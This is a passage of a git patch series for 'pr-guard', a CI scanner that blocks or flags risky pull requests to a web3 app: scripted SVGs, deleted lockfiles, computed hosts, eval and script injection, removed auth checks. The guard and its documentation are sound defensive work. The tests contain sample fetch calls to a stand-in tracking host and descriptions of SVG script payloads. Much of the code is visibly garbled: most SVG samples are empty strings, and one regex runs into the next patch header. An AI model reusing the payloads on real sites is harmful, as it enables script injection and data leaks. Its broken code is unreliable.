plain one the site serves needs an owner", () => { + const scripted = check({ "app/public/a.svg": svg("") }); + assert.deepEqual(scripted.map((f) => [f.rule, f.tier, f.detail]), [["security-config", "review", "added"], ["svg-active", "block", "a script or an embedded document"]]); + assert.ok(rules(check({ "app/public/b.svg": svg('', ' onload="go()"') })).includes("svg-active")); + assert.deepEqual(rules(check({ "app/public/c.svg": svg('') })), ["security-config"]); + // an SVG the site does not serve is still not allowed to carry script + assert.deepEqual(rules(check({ "brand/mark.svg": svg('') })), []); + assert.deepEqual(rules(check({ "brand/mark.svg": svg("") })), ["svg-active"]); + }); + + test("script is found in an SVG however the file is laid out or spelled", () => { + const prefix = cp(0xe9); + const active = { + "a script element under a namespace prefix": 'alert(1)', + "a prefix that is not plain letters": `<${prefix}:script xmlns:${prefix}="http://www.w3.org/2000/svg">alert(1)`, + "a handler on a line of its own, away from its =": '', + "a handler at the very start of a line": '', + "the colon of javascript: as a character reference": svg(''), + "a letter of javascript: as a character reference": svg(''), + "a tab inside javascript:, which a browser drops": svg(''), + "a line break inside javascript:": svg(''), + "a handler given as a default attribute by the document type": ' ]>\n', + "an animation that sets a handler": svg(''), + "an HTML form inside the image": svg(''), + "the HTML namespace spelled with a character reference": svg(''), + "an embedded document": svg('

hi

'), + "a stylesheet instruction over two lines": '\n', + }; + for (const [what, text] of Object.entries(active)) assert.ok(activeSvg(text), what); + // through the whole guard, in a file that is new to the pull request + for (const what of ["a handler on a line of its own, away from its =", "a script element under a namespace prefix", "the colon of javascript: as a character reference"]) { + assert.ok(rules(check({ "app/public/x.svg": `${active[what]}\n` })).includes("svg-active"), what); + } + }); + + test("ordinary SVGs are not mistaken for scripted ones", () => { + const inert = { + "a path": svg(''), + "a gradient, a clip path and a use": svg(''), + "a style block and a link to a site": svg('launch, online'), + "an XML declaration and a character reference in a title": `\n${svg('Base — logo & mark')}`, + "an editor's own metadata": '', + }; + for (const [what, text] of Object.entries(inert)) assert.equal(activeSvg(text), null, what); + }); + + test("an SVG is read whole whatever its size, and one that cannot be read is blocked", () => { + const large = check({ "app/public/big.svg": svg(``) }); + assert.ok(large.some((f) => f.rule === "svg-active" && f.detail === "a script or an embedded document"), "past the size that is matched line by line"); + const unreadable = { changes: [{ status: "M", path: "app/public/x.svg", oldMode: "100644", newMode: "100644", oldSha: "2".repeat(40), newSha: "3".repeat(40) }], blob: () => null, baseText: () => null, baseMatches: () => [], basePaths: () => [], diff: () => ({ added: [], removed: [] }) }; + assert.deepEqual(analyze(unreadable, { lockedPaths: LOCKED }).map((f) => [f.rule, f.tier, f.detail]), [["security-config", "review", "changed"], ["svg-active", "block", "could not be checked: larger than 25 MB"]]); }); }); @@ -496,6 +546,15 @@ describe("dependencies", () => { assert.deepEqual(found.map((f) => [f.rule, f.tier]), [["dependency-source", "block"]]); }); + test("deleting the manifest or a lockfile is a change to the dependencies", () => { + const lock = check({ "app/package-lock.json": null }); + assert.deepEqual(lock.map((f) => [f.rule, f.tier, f.detail]), [["dependencies", "review", "deleted, so nothing pins the packages it listed"]]); + assert.deepEqual(check({ "app/package.json": null }).map((f) => [f.rule, f.detail]), [["dependencies", "deleted"]]); + const deleted = (path) => ({ status: "D", path, oldMode: "100644", newMode: "000000", oldSha: "2".repeat(40), newSha: "0".repeat(40) }); + const repo = { changes: [deleted("app/yarn.lock"), deleted("app/npm-shrinkwrap.json"), deleted("docs/guide.md")], blob: () => null, baseText: () => null, baseMatches: () => [], basePaths: () => [], diff: () => ({ added: [], removed: [] }) }; + assert.deepEqual(analyze(repo, { lockedPaths: LOCKED }).map((f) => [f.rule, f.path]), [["dependencies", "app/yarn.lock"], ["dependencies", "app/npm-shrinkwrap.json"]]); + }); + test("a manifest or lockfile is read whole whatever its size, so padding cannot hide what is in it", () => { const padding = " ".repeat(2_100_000); const padded = check({ "app/package.json": manifest({ dependencies: { sharp: "^0.35.4", viem: "github:someone/viem" } }) + padding }); @@ -692,6 +751,23 @@ describe("application code", () => { assert.deepEqual(rules(check({ "app/public/claim.html": "

Claim

\n" })), ["security-config"]); }); + test("anything in the served folder that is not a plain image, font or text file needs an owner", () => { + // a browser runs script in whatever is served as HTML or XML, and it does not go by the letter case of a name + const page = 'Claim\n'; + for (const path of ["app/public/promo.xht", "app/public/feed.rss", "app/public/style.xsl", "app/public/claim.HTML", "app/public/data.json", "app/public/tokens"]) { + assert.deepEqual(rules(check({ [path]: page })), ["security-config"], path); + } + assert.deepEqual(rules(check({ "app/public/brand/new.svg": BASE["app/public/brand/base.svg"] })), ["security-config"]); + assert.deepEqual(rules(check({ "app/public/notes.txt": "plain text\n" })), []); + assert.deepEqual(rules(check({ "app/public/brand/new.png": PNG })), []); + // markup the app serves from outside that folder (its icon, its sitemap, its manifest), whatever the case of the name + assert.deepEqual(rules(check({ "app/src/app/icon.svg": '\n' })), ["security-config"]); + assert.deepEqual(rules(check({ "app/src/app/sitemap.xml": "\n" })), ["security-config"]); + assert.deepEqual(rules(check({ "app/src/assets/Mark.SVG": '\n' })), ["security-config"]); + assert.deepEqual(rules(check({ "app/src/app/manifest.json": '{ "name": "openlaunch" }\n' })), ["security-config"]); + assert.deepEqual(rules(check({ "app/src/lib/chains.json": '{ "base": 8453 }\n' })), [], "data the code imports is not a served file"); + }); + test("a line too long to match is flagged instead of skipped, and hidden characters in it are still found", () => { const long = `export const x = "${"ab ".repeat(4000)}";`; assert.match(details(check({ "app/src/lib/long.ts": `${long}\n` }), "opaque"), /too long to match against the rules/); diff --git a/.github/scripts/workflows.test.mjs b/.github/scripts/workflows.test.mjs index cfc5740b..0892ec63 100644 --- a/.github/scripts/workflows.test.mjs +++ b/.github/scripts/workflows.test.mjs @@ -9,7 +9,7 @@ import { join } from "node:path"; import { test } from "node:test"; import { fileURLToPath } from "node:url"; -import { OWNERS } from "./pr-guard.mjs"; +import { OWNERS, activeSvg } from "./pr-guard.mjs"; const root = fileURLToPath(new URL("../../", import.meta.url)); const dir = `${root}.github/workflows/`; @@ -296,3 +296,9 @@ test("the lock check fails when a deployed file, a library pin or a file inside rmSync(repo, { recursive: true, force: true }); } }); + +test("the SVGs this repository serves pass the check the guard applies to new ones", () => { + const found = ["app/public", "app/src/app", "brand"].flatMap((folder) => readdirSync(root + folder, { recursive: true }).filter((name) => /\.svg$/i.test(name)).map((name) => `${folder}/${name}`)); + assert.ok(found.length >= 5, "the brand and icon files"); + for (const path of found) assert.equal(activeSvg(readFileSync(root + path, "utf8")), null, path); +}); diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 4133792d..9a4f8b1f 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -41,12 +41,14 @@ your code. It has two answers besides "passed": (the deployed contract sources, their build settings, the pinned libraries and the deployment records), anything under `.github/`, a dependency or lockfile entry that does not come from the npm registry (git, a URL, a local path, an alias), a new install-time script, a committed key or `.env` file, invisible or direction-changing Unicode, symlinks, - new submodules, binaries that are not plain images or fonts, and editor or agent configuration (`.vscode/`, - `.claude/`, `AGENTS.md`, `.envrc` and the like). + new submodules, binaries that are not plain images or fonts, an SVG with script or an event handler in it, and editor + or agent configuration (`.vscode/`, `.claude/`, `AGENTS.md`, `.envrc` and the like). - **Needs a maintainer's approval.** Allowed, and listed for a maintainer to read: new files under `contracts/`, - dependency and npm script changes, on-chain addresses, wallet calls, new hosts and environment variables, security - headers, build and deploy files, migrations, and code that executes strings or injects raw HTML. The check turns green - when a maintainer approves the exact commit. A new push needs a new approval. + dependency and npm script changes (a deleted `package.json` or lockfile included), on-chain addresses, wallet calls, + new hosts and environment variables, security headers, files the site serves as they are (anything in `app/public/` + that is not a plain image, font or text file, and every SVG), build and deploy files, migrations, and code that + executes strings or injects raw HTML. The check turns green when a maintainer approves the exact commit. A new push + needs a new approval. Deployed contracts are never edited. A change for another chain is a new file that copies the original, with its own tests (`contracts/src/LaunchFactoryArc.sol` is the pattern). From 22879a006137a3033f89eb7f87a2b8cf6efc1652 Mon Sep 17 00:00:00 2001 From: Kevin Codex Date: Mon, 12 Oct 2026 14:40:11 +0800 Subject: [PATCH 5/7] ci: pr-guard: the XHTML namespace is matched by its end; CONTRIBUTING lists the rules as enforced - CodeQL read `includes("http://www.w3.org/1999/xhtml")` as an incomplete check of a URL. It is a search of an SVG's text for the one namespace under which HTML works inside it. The end of the address is matched now, which says so and finds at least as much. - CONTRIBUTING.md said every binary that is not an image or font is blocked. Audio, video and PDF files go to a maintainer instead, as the guard has always had it. The two lists now also name package manager configuration, case-colliding names, removed security checks, the license and security policy and unreadable content, and point to the RULES table as the full list. --- .github/scripts/pr-guard.mjs | 9 +++++++-- CONTRIBUTING.md | 19 ++++++++++++------- 2 files changed, 19 insertions(+), 9 deletions(-) diff --git a/.github/scripts/pr-guard.mjs b/.github/scripts/pr-guard.mjs index 416570aa..f762b3d1 100644 --- a/.github/scripts/pr-guard.mjs +++ b/.github/scripts/pr-guard.mjs @@ -168,7 +168,12 @@ const SVG_ELEMENT = /<(?:[^\s<>\/:"'=]+:)?(?:script|foreignObject|iframe|embed|o const SVG_HANDLER = /\son[a-z]+\s*=|attributeName\s*=\s*["']\s*on/i; /** A stylesheet instruction, or a document type that defines text or default attributes (a default onload among them). */ const SVG_DECLARATION = /<\?xml-stylesheet| Date: Mon, 12 Oct 2026 14:56:14 +0800 Subject: [PATCH 6/7] docs: CONTRIBUTING lists the guard's outcomes rule by rule, and a test keeps it that way The two lists were prose written beside the rules, so they drifted: the review found the lock's check scripts missing from "blocked" and .gitattributes missing from "needs approval". Each point now opens with the names of the rules it describes, the same names the check prints, and workflows.test.mjs fails when a rule is missing from the guide or sits under the wrong outcome. --- .github/scripts/workflows.test.mjs | 18 ++++++++++- CONTRIBUTING.md | 52 ++++++++++++++++++++---------- 2 files changed, 52 insertions(+), 18 deletions(-) diff --git a/.github/scripts/workflows.test.mjs b/.github/scripts/workflows.test.mjs index 0892ec63..07bd936a 100644 --- a/.github/scripts/workflows.test.mjs +++ b/.github/scripts/workflows.test.mjs @@ -9,7 +9,7 @@ import { join } from "node:path"; import { test } from "node:test"; import { fileURLToPath } from "node:url"; -import { OWNERS, activeSvg } from "./pr-guard.mjs"; +import { OWNERS, RULES, activeSvg } from "./pr-guard.mjs"; const root = fileURLToPath(new URL("../../", import.meta.url)); const dir = `${root}.github/workflows/`; @@ -302,3 +302,19 @@ test("the SVGs this repository serves pass the check the guard applies to new on assert.ok(found.length >= 5, "the brand and icon files"); for (const path of found) assert.equal(activeSvg(readFileSync(root + path, "utf8")), null, path); }); + +test("CONTRIBUTING names every rule of the guard, under the outcome the guard gives it", () => { + const guide = readFileSync(`${root}CONTRIBUTING.md`, "utf8"); + const lists = { + block: /^- \*\*Blocked\.\*\*([\s\S]*?)^- \*\*Needs a maintainer's approval\.\*\*/m.exec(guide)[1], + review: /^- \*\*Needs a maintainer's approval\.\*\*([\s\S]*?)\n\n(?=\S)/m.exec(guide)[1], + }; + for (const [tier, text] of Object.entries(lists)) { + // each point opens with the names of the rules it describes: " - `rule`, `other-rule`: what it is" + const named = [...text.matchAll(/^ {2}- ((?:`[a-z-]+`(?:, )?)+):/gm)].flatMap((point) => point[1].match(/[a-z-]+/g)); + const rules = Object.keys(RULES).filter((rule) => RULES[rule].tier === tier); + assert.deepEqual([...named].sort(), rules.sort(), `the ${tier} list`); + } + // what the guard locks beyond the paths the lock file lists is spelled out + for (const path of ["contracts/script/check-deployed-sources.sh", "contracts/script/check-arc-factory.sh", ".gitmodules", "contracts/lib/", ".gitattributes"]) assert.ok(guide.includes(`\`${path}\``), path); +}); diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index c99ce353..dc196c55 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -37,23 +37,41 @@ For contract changes, also run the live-fork suites locally (`FORK_TESTS=true fo Every pull request into `main` also runs `pr-guard` (`.github/workflows/pr-guard.yml`). It reads the diff and never runs your code. It has two answers besides "passed": -- **Blocked.** Refused for everyone, maintainers included: a change to any file listed in `contracts/deployed.lock` - (the deployed contract sources, their build settings, the pinned libraries and the deployment records), anything under - `.github/`, a dependency or lockfile entry that does not come from the npm registry (git, a URL, a local path, an - alias), a new install-time script, package manager configuration (`.npmrc` and the like), a committed key or `.env` - file, invisible or direction-changing Unicode in a file or in its name, symlinks, new submodules, a binary file that - is not a real image or font (audio, video and PDF files are allowed, and go to a maintainer: see the next point), an - SVG with script or an event handler in it, a file name that differs from an existing one only by letter case, and - editor or agent configuration (`.vscode/`, `.claude/`, `AGENTS.md`, `.envrc` and the like). -- **Needs a maintainer's approval.** Allowed, and listed for a maintainer to read: new files under `contracts/`, - dependency and npm script changes (a deleted `package.json` or lockfile included), on-chain addresses, wallet calls, - new hosts and environment variables, a signature, nonce or rate-limit check that was removed, security headers, files - the site serves as they are (anything in `app/public/` that is not a plain image, font or text file, and every SVG), - audio, video and PDF files, build and deploy files, migrations, the license and the security policy, code that - executes strings or injects raw HTML, and content that cannot be read by eye (very long lines, encoded blobs). The - check turns green when a maintainer approves the exact commit. A new push needs a new approval. - -Every rule, with the reason for it, is in the `RULES` table at the top of `.github/scripts/pr-guard.mjs`. +- **Blocked.** Refused for everyone, maintainers included. The name in front of each point is the one the check prints. + - `contract-locked`: a change to any file listed in `contracts/deployed.lock` (the deployed contract sources, their + build settings, the pinned libraries and the deployment records), to the lock itself, to the scripts that check it + (`contracts/script/check-deployed-sources.sh`, `contracts/script/check-arc-factory.sh`), to `.gitmodules`, or + anything added under `contracts/lib/`. + - `ci-config`: anything under `.github/`, or a `CODEOWNERS` file. + - `dev-machine`: editor, agent or git hook configuration (`.vscode/`, `.claude/`, `AGENTS.md`, `.envrc` and the like). + - `registry-config`: package manager configuration (`.npmrc` and the like). + - `secret-file`, `secret`: a key, wallet or `.env` file, or a credential anywhere in the diff. + - `submodule`, `symlink`: a submodule added, removed or re-pinned; a symbolic link. + - `hidden-unicode`, `odd-path`: invisible or direction-changing Unicode in a file, or in a file's name. + - `binary`: a binary file that is not a real image or font. Audio, video and PDF files are in the next list. + - `svg-active`: an SVG with script or an event handler in it. + - `dependency-source`, `lockfile`, `install-script`: a dependency or lockfile entry that does not come from the npm + registry (git, a URL, a local path, an alias), a `package.json` or lockfile the guard cannot read in full, a new + script that runs at install time. + - `case-collision`: a file name that differs from an existing one only by letter case. +- **Needs a maintainer's approval.** Allowed, and listed for a maintainer to read. The check turns green when a + maintainer approves the exact commit. A new push needs a new approval. + - `contracts`, `contract-rules`: new files under `contracts/`; an owner, a pause, an allowlist, an upgrade path or a + fee switch in a contract (see the ground rules above). + - `dependencies`: dependency and npm script changes, a deleted `package.json` or lockfile included. + - `address`, `wallet-call`: on-chain addresses; code that asks a wallet to sign, approve or send. + - `new-host`, `new-env`: a host or an environment variable the repository has not used before. + - `dangerous-code`: code that executes strings, injects raw HTML or starts a process. + - `auth-removed`: a signature, nonce, rate-limit or validation check that was removed. + - `security-config`: security headers, the request proxy, and files the site serves as they are (anything in + `app/public/` that is not a plain image, font or text file, and every SVG). + - `build-deploy`: build, deploy and migration files, shell scripts, a file made executable. + - `policy`, `git-config`: the license and the security policy; `.gitattributes`. + - `media`, `opaque`, `unscanned`: audio, video and PDF files; content that cannot be read by eye (very long lines, + encoded blobs); anything the guard could not read. + +The reason for each rule is in the `RULES` table at the top of `.github/scripts/pr-guard.mjs`. A test keeps the two +lists above and that table the same. Deployed contracts are never edited. A change for another chain is a new file that copies the original, with its own tests (`contracts/src/LaunchFactoryArc.sol` is the pattern). From f2a5c065ba5ca9e60f8e3bce9c26e91e2707f8eb Mon Sep 17 00:00:00 2001 From: Kevin Codex Date: Mon, 12 Oct 2026 15:53:46 +0800 Subject: [PATCH 7/7] ci: pr-guard: hosts finished at run time, checks lost with a deleted file, lock paths as git spells them From the third CodeRabbit review of #88, and from reviewing those fixes. - new-host: a scheme with no host after it ("https://" + target) had no finding. It is "(computed)" now, as a template placeholder already was. So are an empty host ("https://@" + x), an address that ends its string and has more joined on ("https://known.org" + ".elsewhere.io"), and "//" + host. Also read: a host behind escaped slashes, an address with no scheme, a wildcard host. The base branch's hosts are read with the same rule. Not seen, on purpose: a scheme that is itself split ("https:" + "//" + host). A string that is only "https:" is how the app compares protocols, in eleven places. - dangerous-code: the same things spelled another way. Function() without new, eval reached indirectly, a timer given its code as a string, createElement("script"), and the environment taken as one object ({ KEY } = process.env, env: process.env). - auth-removed: a deleted file takes its checks with it, and that was never reported, since a deleted file is not read. Now it is, unless the same check turns up again in what the pull request adds (a move). - check-deployed-sources.sh: --update refuses a file git does not track, writes each path as git spells it from the root (the guard compares the lock's paths letter for letter, so "./contracts/..." would have dropped the file's protection), and removes its temporary file when it refuses. The check says so when a locked file is present but untracked. - CONTRIBUTING: the check turns green after the approval and a re-run of the job, as the job summary says. 146 tests. All 65 merged pull requests on main keep their outcome. --- .github/scripts/pr-guard.mjs | 109 +++++++++++++++++---- .github/scripts/pr-guard.test.mjs | 99 +++++++++++++++++-- .github/scripts/workflows.test.mjs | 21 +++- CONTRIBUTING.md | 7 +- contracts/script/check-deployed-sources.sh | 20 ++-- 5 files changed, 218 insertions(+), 38 deletions(-) diff --git a/.github/scripts/pr-guard.mjs b/.github/scripts/pr-guard.mjs index f762b3d1..762e3151 100644 --- a/.github/scripts/pr-guard.mjs +++ b/.github/scripts/pr-guard.mjs @@ -57,7 +57,7 @@ export const RULES = { dependencies: { tier: "review", title: "Dependencies or npm scripts", help: "New packages are checked for who publishes them and why they are needed." }, address: { tier: "review", title: "On-chain address", help: "Addresses decide where funds and approvals go. Each one is checked against its source." }, "wallet-call": { tier: "review", title: "Wallet signing or sending", help: "Code that asks a wallet to sign, approve or send." }, - "new-host": { tier: "review", title: "A host the repository has not used before", help: "New network destinations and links." }, + "new-host": { tier: "review", title: "A host the repository has not used before", help: "New network destinations and links. A host that code puts together at run time shows as (computed): there is nothing to compare it with." }, "new-env": { tier: "review", title: "A new environment variable", help: "New configuration the deployment has to carry, or new access to existing secrets." }, "dangerous-code": { tier: "review", title: "Code execution, raw HTML or shell", help: "Patterns that run code, inject markup, start processes or decode hidden text." }, "auth-removed": { tier: "review", title: "A security check was removed", help: "Signature, nonce, rate limit or validation calls that the change drops." }, @@ -199,14 +199,17 @@ export function activeSvg(text) { const JS_FILE = /\.([cm]?[jt]sx?|mdx|vue|svelte|astro)$/i; /** [what it is, pattern, optional: the files it applies to (Solidity's require() is not Node's)]. */ const DANGEROUS = [ - ["eval()", /\beval\s*\(/], - ["new Function()", /\bnew\s+Function\s*\(/], + ["eval()", /(? MAX_LINE * 5) { add("opaque", `a line of ${text.length} characters, too long to match against the rules`, n); continue; } - for (const m of text.matchAll(URL_RE)) { - const host = hostOf(m[1]); - if (host && !LOCAL_HOST.test(host) && !facts.hosts.has(host)) add("new-host", host, n); + for (const host of hostsIn(text, code)) { + if (host === "(computed)" || (!LOCAL_HOST.test(host) && !facts.hosts.has(host))) add("new-host", host, n); } if (!test) { for (const [address] of text.matchAll(ADDRESS)) { @@ -288,13 +336,8 @@ export function scanLines(path, added, removed, facts) { } if (code && !test && removed.length > 0) { - const tally = (lines) => { - const counts = new Map(); - for (const text of lines) for (const [name] of text.matchAll(AUTH)) counts.set(name, (counts.get(name) ?? 0) + 1); - return counts; - }; - const kept = tally(added.map((l) => l.text)); - for (const [name, gone] of tally(removed)) { + const kept = checksIn(added.map((l) => l.text)); + for (const [name, gone] of checksIn(removed)) { const net = gone - (kept.get(name) ?? 0); if (net > 0) add("auth-removed", `${name}: ${net} fewer ${net === 1 ? "use" : "uses"}`, null); } @@ -534,7 +577,7 @@ export function analyze(repo, { lockedPaths }) { const add = (rule, path, detail, line = null) => findings.push({ rule, tier: RULES[rule].tier, path, detail, line }); const facts = lazy(() => ({ addresses: new Set(repo.baseMatches("0x[0-9a-f]{40,}").filter((hit) => hit.length === 42).map((hit) => hit.toLowerCase())), - hosts: new Set(repo.baseMatches("(https?|wss?|ftp)://[a-z0-9.-]+").map((hit) => hit.replace(/^[a-z]+:\/\//i, "").replace(/\.+$/, "").toLowerCase())), + hosts: new Set(repo.baseMatches("(https?|wss?|ftp)://[]a-z0-9._~%:@[*-]+").map((hit) => hostOf(hit.replace(/^[a-z]+:\/\//i, ""))).filter(Boolean)), env: new Set(repo.baseMatches("(process\\.env|import\\.meta\\.env)(\\.[a-z_][a-z0-9_]*|\\[[^]]+\\])").map((hit) => /\.env\.?\[?\s*["'`]?([A-Za-z_]\w*)/.exec(hit)?.[1]).filter(Boolean)), })); /** lowercase path or folder -> its spelling in the base tree */ @@ -553,6 +596,8 @@ export function analyze(repo, { lockedPaths }) { const locked = (path) => lockedPaths.has(path) || path.startsWith(LOCKED_FOLDER); let scanned = 0; + /** Code files this pull request deletes, and the checks its other files gain: a check that reappears was moved. */ + const deletedCode = [], gained = new Map(); for (const change of repo.changes) { const { path, status, oldMode, newMode } = change; const gone = status === "D"; @@ -581,6 +626,7 @@ export function analyze(repo, { lockedPaths }) { if (gone && MANIFEST.test(path)) add("dependencies", path, "deleted"); if (gone && (NPM_LOCK.test(path) || OTHER_LOCK.test(path))) add("dependencies", path, "deleted, so nothing pins the packages it listed"); + if (gone && (oldMode === "100644" || oldMode === "100755") && isCode(path) && !isTest(path) && !NPM_LOCK.test(path) && !OTHER_LOCK.test(path)) deletedCode.push(change); if (gone || (newMode !== "100644" && newMode !== "100755")) continue; // A manifest, a lockfile or an SVG the guard could not check is refused, not handed on for review: failing to read // it must never rank below what reading it would have found. @@ -608,6 +654,13 @@ export function analyze(repo, { lockedPaths }) { ? { added: allLines(bytes.toString("utf8")), removed: [] } : repo.diff(change.oldSha, change.newSha); const found = scanLines(path, lines.added, lines.removed, facts()); + if (isCode(path) && !isTest(path)) { + const lost = checksIn(lines.removed); + for (const [name, count] of checksIn(lines.added.map((l) => l.text))) { + const net = count - (lost.get(name) ?? 0); + if (net > 0) gained.set(name, (gained.get(name) ?? 0) + net); + } + } // blocks first, so a flood of minor findings cannot push one off the end found.sort((a, b) => (RULES[a.rule].tier === "block" ? 0 : 1) - (RULES[b.rule].tier === "block" ? 0 : 1)); for (const f of found.slice(0, MAX_FINDINGS_PER_FILE)) add(f.rule, f.path, f.detail, f.line); @@ -616,6 +669,24 @@ export function analyze(repo, { lockedPaths }) { unread(`could not be read (${error.code ?? error.status ?? "error"})`); } } + + // A deleted file is never read above, and it takes its security checks with it. One that turns up again in what the + // pull request adds elsewhere was moved, not removed. + for (const { path, oldSha } of deletedCode) { + if (++scanned > MAX_SCAN_FILES) { add("unscanned", path, `deleted, past the ${MAX_SCAN_FILES} files one pull request may have read`); continue; } + try { + const bytes = repo.blob(oldSha); + if (!bytes || bytes.length > MAX_TEXT_BYTES) { add("unscanned", path, "deleted, and too large to read for the checks it held"); continue; } + if (scanBytes(path, bytes)) continue; + for (const [name, held] of checksIn(bytes.toString("utf8").split("\n"))) { + const moved = Math.min(held, gained.get(name) ?? 0); + gained.set(name, (gained.get(name) ?? 0) - moved); + if (held > moved) add("auth-removed", path, `${name}: ${held - moved} fewer ${held - moved === 1 ? "use" : "uses"}, with the file deleted`); + } + } catch (error) { + add("unscanned", path, `deleted, and could not be read (${error.code ?? error.status ?? "error"})`); + } + } return findings; } diff --git a/.github/scripts/pr-guard.test.mjs b/.github/scripts/pr-guard.test.mjs index 53f7bc3d..6634eccd 100644 --- a/.github/scripts/pr-guard.test.mjs +++ b/.github/scripts/pr-guard.test.mjs @@ -13,7 +13,7 @@ import { after, before, describe, test } from "node:test"; import { fileURLToPath } from "node:url"; import { - OWNERS, RULES, activeSvg, analyze, annotation, hiddenCharacter, hostOf, lintManifest, lintNpmLock, openRepo, ownerApproval, parseHunks, + OWNERS, RULES, activeSvg, analyze, annotation, hiddenCharacter, hostOf, hostsIn, lintManifest, lintNpmLock, openRepo, ownerApproval, parseHunks, parseLock, plain, pusherOf, renderSummary, renderText, scanLines, verdict, } from "./pr-guard.mjs"; @@ -665,6 +665,55 @@ describe("application code", () => { test("a host built at run time is flagged, since it cannot be compared", () => { assert.match(details(check({ "app/src/lib/send.ts": "await fetch(`https://${target}/in`);\n" }), "new-host"), /\(computed\)/); + // joined on from a separate string: no host follows the scheme, so there is nothing to compare either + for (const line of ['await fetch("https://" + target);', "await fetch('https://' + 'collect.metrics-cdn.io/x');", 'const scheme = "wss://";', 'const url = ["https://", host].join("");']) { + const found = check({ "app/src/lib/send.ts": `${line}\n` }); + assert.deepEqual(found.map((f) => [f.rule, f.detail, f.line]), [["new-host", "(computed)", 1]], line); + } + // once per line, beside any host that is written out + const both = check({ "app/src/lib/send.ts": 'const a = "https://collect.metrics-cdn.io/v1", b = "https://" + host, c = `https://${host}`;\n' }); + assert.equal(details(both, "new-host"), "collect.metrics-cdn.io | (computed)"); + // a known host written in full is still not a finding, and prose that mentions a scheme is not code + assert.deepEqual(rules(check({ "app/src/lib/rpc.ts": 'const a = "https://mainnet.base.org/x";\n' })), []); + assert.deepEqual(rules(check({ "docs/guide.md": "## Guide\n\nLinks must start with https:// and nothing else.\n" })), []); + }); + + test("an address that is finished somewhere else is a computed host too", () => { + const computed = [ + 'await fetch("https://@" + target);', // an empty user name, then the host + 'await fetch("https://:@" + target);', + 'await fetch("https://mainnet.base.org" + ".collect.metrics-cdn.io/x");', // a known host, made into another one + 'await fetch("https://mainnet.base.org." + tail);', + 'await fetch("https://mainnet.base.org".concat(tail));', + 'await fetch("//" + target);', // no scheme: the page's own + ]; + for (const line of computed) assert.deepEqual([...hostsIn(line, true)].filter((host) => host === "(computed)"), ["(computed)"], line); + assert.deepEqual(check({ "app/src/lib/send.ts": `${computed[2]}\n` }).map((f) => [f.rule, f.detail]), [["new-host", "(computed)"]]); + // a path, a query or a fragment joined on leaves the host as it is written + for (const line of ['fetch("https://mainnet.base.org" + "/v1/" + id);', 'fetch("https://mainnet.base.org" + "?id=" + id);', 'const site = "https://mainnet.base.org";']) { + assert.deepEqual(rules(check({ "app/src/lib/send.ts": `${line}\n` })), [], line); + } + // comparing a protocol is not building an address + assert.deepEqual(rules(check({ "app/src/lib/link.ts": 'if (u.protocol !== "https:" && u.protocol !== "http:") return null;\n' })), []); + }); + + test("a host is read out of escaped slashes, an address with no scheme, and a wildcard", () => { + const hosts = (line) => details(check({ "app/src/lib/send.ts": `${line}\n` }), "new-host"); + assert.equal(hosts('await fetch("https:\\/\\/collect.metrics-cdn.io/x");'), "collect.metrics-cdn.io"); + assert.equal(hosts("const seen = /https:\\/\\/collect\\.metrics-cdn\\.io\\/v1/.test(url);"), "collect.metrics-cdn.io"); + assert.equal(hosts('await fetch("//cdn.metrics-cdn.io/a.json");'), "cdn.metrics-cdn.io"); + assert.equal(hosts('const csp = "connect-src https://*.metrics-cdn.io wss://*.metrics-cdn.io";'), "*.metrics-cdn.io"); + // patterns that test or trim an address name no host, and neither does a comment or another scheme + const none = [ + 'lines.push("// not an address");', "const half = a // b.c", 'const ipfs = "ipfs://bafybeigdyrzt5sfp7udm7hu76uh7y26nf3efuylqabf3oclgtqy55fbzdi";', + "const re = /^https?:\\/\\//i;", "const ok = /^https:\\/\\//.test(v.trim());", 'const base = siteUrl.replace(/\\/$/, "");', + "assert.match(url, /^https:\\/\\/[^/]+$/);", "const m = /^https:\\/\\/(?:www\\.)?(?:x|twitter)\\.com\\/([A-Za-z0-9_]{1,15})$/i.exec(url);", + ]; + for (const line of none) assert.equal(hosts(line), "", line); + assert.equal(hostOf("localhost:*"), "localhost"); + assert.equal(hostOf("openlaunch.lol]"), "openlaunch.lol"); + assert.equal(hostOf("[::1]:8545"), "[::1]"); + assert.equal(hostOf("@"), null); }); test("hostOf strips credentials, ports and case", () => { @@ -675,20 +724,24 @@ describe("application code", () => { test("code execution, raw HTML and process spawning are flagged, in tests as well", () => { const samples = { - "eval()": "const out = eval(source);", - "new Function()": 'const run = new Function("return 1");', + "eval()": ["const out = eval(source);", "const out = (0, eval)(source);", "const run = eval;", "window.eval?.(source);"], + "the Function constructor": ['const run = new Function("return 1");', 'const run = Function("return 1");', 'globalThis.Function("return 1")();'], + "a timer given its code as a string": 'setTimeout("go()", 0);', + "a script, frame or embed tag": ['const s = document.createElement("script");', "